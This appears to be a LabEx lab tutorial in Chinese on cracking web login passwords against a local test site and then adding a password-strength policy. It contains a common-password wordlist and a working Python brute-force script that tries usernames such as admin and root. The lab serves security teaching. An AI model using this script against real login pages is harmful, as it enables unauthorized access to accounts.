使用 Python 破解网站密码

PythonPythonBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

介绍

在本实验中,你将扮演一名安全研究员的角色,任务是测试一个 Web 应用程序的密码安全性。你将探索弱密码的漏洞,并学习破解这些密码的技术。通过动手实践,你将深入了解网络安全中的攻击技术以及采取强大防御措施的重要性。

探索目标网站

在这一步骤中,我们将收集目标网站的相关信息,这是任何安全评估中至关重要的第一阶段。

  1. 打开你的浏览器并访问 http://localhost:8080/。你可以通过点击 LabEx 环境中的 Web 8080 标签页来访问。
LabEx 浏览器标签页

注意:在 LabEx 虚拟机中,Web 服务器运行在一个临时的公共网络上。这意味着你看到的域名可能不是 "localhost",而是一个实际可访问的域名。这是正常现象,不会影响实验的进行。

  1. 仔细检查登录表单。注意以下几点:

    • 网站需要用户名和密码。
    • 没有关于有效用户名或密码要求的可见提示。
  2. 尝试使用一些随机的用户名和密码组合登录。例如:

    • 用户名:test,密码:password123
    • 用户名:admin,密码:admin
    • 用户名:user,密码:12345

每次尝试后,你应该会收到“无效的用户名或密码”的提示信息。

  1. 根据你的观察,我们可以对登录系统做出一些合理的推测:
    • 它不会透露用户名是否存在。这是一种良好的安全实践,因为它不会泄露有效账户的信息。
    • 登录尝试次数似乎没有限制。在真实场景中,这可能是一个漏洞,允许无限次密码猜测。

这种初步的侦察帮助我们了解正在处理的系统,并为下一步破解密码的行动提供了信息。

创建密码字典

现在我们已经收集了关于登录系统的信息,接下来我们将创建一个潜在密码的字典。这是密码破解尝试中常用的技术。

  1. 打开桌面上的终端。
终端在桌面上打开
  1. 在终端中输入以下命令,创建并填充 passwords.txt 文件:
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

该命令使用了 bash 中的一种称为“here document”的技术。它允许我们在单个命令中创建一个包含多行文本的文件。以下是它的工作原理:

  • cat << EOF > filename:这告诉系统将所有文本(直到遇到“EOF”即文件结束标记)写入指定的文件名中。
  • 第一个 EOF 和第二个 EOF 之间的文本是将被写入文件的内容。
  • 最后的 EOF 标记了要写入的文本的结束。

运行此命令后,你将在 ~/project/password_lab/ 目录中创建一个名为 passwords.txt 的文件,其中包含一系列常用(因此较弱)的密码。

在真实场景中,攻击者可能会使用更大的字典,通常包含数百万个密码。这些密码可能包括:

  • 常用密码
  • 多种语言的单词
  • 单词的变体(例如 "password1"、"p@ssword"、"password123")
  • 从之前的数据泄露中泄露的密码

创建和使用此类字典进行未经授权的访问是非法的且不道德的。我们仅出于教育目的使用这个小字典,以了解这些攻击的工作原理以及如何防御它们。

编写密码破解脚本

现在我们已经准备好了密码字典,接下来我们将创建一个 Python 脚本,用于自动化测试这些密码是否适用于目标网站。

  1. 如果尚未打开,请在桌面上打开终端。

  2. 输入以下命令,在 nano 文本编辑器中打开一个名为 password_cracker.py 的新文件:

nano ~/project/password_lab/password_cracker.py
  1. 将以下 Python 代码复制并粘贴到 nano 编辑器中:
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. 保存文件并通过按 Ctrl+X,然后按 Y,最后按 Enter 退出 nano。

让我们分解一下这个脚本的功能:

  • crack_password 函数:

    • 接收一个用户名和一个密码列表作为输入。
    • 对于每个密码,它会向登录页面发送一个 POST 请求,包含用户名和密码。
    • 如果响应中包含“Login successful!”,它会打印成功消息。
    • 否则,它会打印失败消息。
    • 它在每次尝试之间包含一个小的延迟(0.1 秒),以避免对服务器造成过大压力。
  • main 函数:

    • 定义了一个常见用户名的列表。
    • 从我们的 passwords.txt 文件中读取密码。
    • 对于每个用户名,它会调用 crack_password 函数并传入密码列表。

这个脚本自动化了尝试多个用户名和密码组合的过程,类似于攻击者可能用来入侵系统的方式。然而,需要注意的是,未经许可使用此类技术是非法的且不道德的。我们仅出于教育目的使用此脚本,以了解这些攻击的工作原理以及如何防御它们。

运行密码破解脚本

现在我们已经有了密码破解脚本,接下来我们将运行它并分析结果。

  1. 在终端中,导航到包含脚本的目录:
cd ~/project/password_lab
  1. 使用以下命令运行脚本:
python password_cracker.py
  1. 仔细观察输出。脚本将尝试破解多个常见用户名的密码。你应该会看到类似以下的输出:
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123
  1. 分析输出:
    • 哪些密码被成功破解?
    • 针对哪些用户名?
    • 在找到正确密码之前需要多少次尝试?
    • 你认为为什么有些密码被破解而有些没有?

这个练习展示了弱密码如何容易被使用常见单词或模式的字典攻击破解。在这个例子中,用户名为“admin”且密码为“supersecret123”的账户对我们的字典攻击是脆弱的。

需要强调的是,虽然这个脚本在这个受控环境中成功了,但在未经明确许可的情况下尝试对真实系统使用此类技术是非法的且不道德的。这些知识应该用于理解漏洞并改进安全性,而不是用于利用系统。

提升密码安全性

现在我们已经成功破解了一些密码,接下来让我们实施更好的密码策略,以防止此类攻击。

  1. 在 LabEx 虚拟机中打开 WebIDE 标签页。WebIDE 是一个基于 Web 的集成开发环境,允许你直接在浏览器中编写、运行和调试代码。它类似于 VS Code 编辑器,但在浏览器中运行。WebIDE 适合编辑较长的代码文件。
WebIDE 界面截图
  1. 在屏幕左侧的文件资源管理器中,点击 app.py 文件以在编辑器中打开它。
  2. users 字典之后添加以下函数,以实现密码强度检查:
import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
密码强度检查代码

该函数检查密码是否满足以下条件:

  • 至少 12 个字符长
  • 包含至少一个大写字母
  • 包含至少一个小写字母
  • 包含至少一个数字
  • 包含至少一个特殊字符
  1. 现在,添加一个新的用户注册路由,以实施此密码策略。在 if __name__ == '__main__': 行之前添加以下代码块:
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
用户注册表单界面

这段代码创建了一个新的用户注册路由。它在创建新用户之前检查提交的密码是否符合我们的强密码标准。

  1. 在 WebIDE 中保存更改。
  2. 现在,让我们重启 Flask 应用程序以应用这些更改。打开终端并运行:
pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. 导航到 Web 8080 标签页,并在 URL 后添加 /register 以访问新的注册表单:
用户注册表单界面
  1. 尝试使用弱密码(例如 "password123")注册一个新账户。观察应用程序如何强制执行新的密码策略。

  2. 现在,使用符合所有标准的强密码注册一个新账户。例如:

    • 用户名:labex
    • 密码:S3cureP@ssw0rd-2024

    该密码满足我们所有的要求:超过 12 个字符,包含大小写字母、数字和特殊字符。

  3. 成功注册后,让我们测试我们的密码破解脚本是否能破解这个新的强密码。修改 password_cracker.py 脚本:

    • 打开终端并输入:
    nano ~/project/password_lab/password_cracker.py
    • 找到 usernames = ['admin', 'user', 'root', 'administrator', 'webmaster'] 这一行
    • 将其替换为 usernames = ['labex']
  4. 运行修改后的脚本:

python ~/project/password_lab/password_cracker.py

观察脚本无法破解新的强密码。这证明了实施强密码策略的有效性。

总结

在本实验中,你体验了道德黑客和密码安全性测试的过程。以下是你在实验中所完成的内容回顾:

  1. 侦察(Reconnaissance):你探索了一个登录页面,收集了有关其行为和潜在漏洞的信息。这一步模拟了安全研究员或攻击者如何开始对目标系统的调查。
  2. 密码字典创建:你创建了一个常见密码列表,模拟了真实世界中密码破解尝试中使用的字典。这突显了使用常见或弱密码的脆弱性。
  3. 自动化密码破解:你编写并执行了一个 Python 脚本,自动化测试多个用户名和密码组合的过程。这展示了攻击者可能如何尝试入侵系统,以及弱密码被破解的速度。
  4. 结果分析:你运行了密码破解脚本并分析了结果,了解了哪些密码是脆弱的以及原因。这一步强调了使用强密码和唯一密码的重要性。
  5. 实施安全措施:最后,你通过实施强密码策略和安全的注册系统,提升了 Web 应用程序的安全性。这展示了正确的安全措施如何有效防止常见攻击。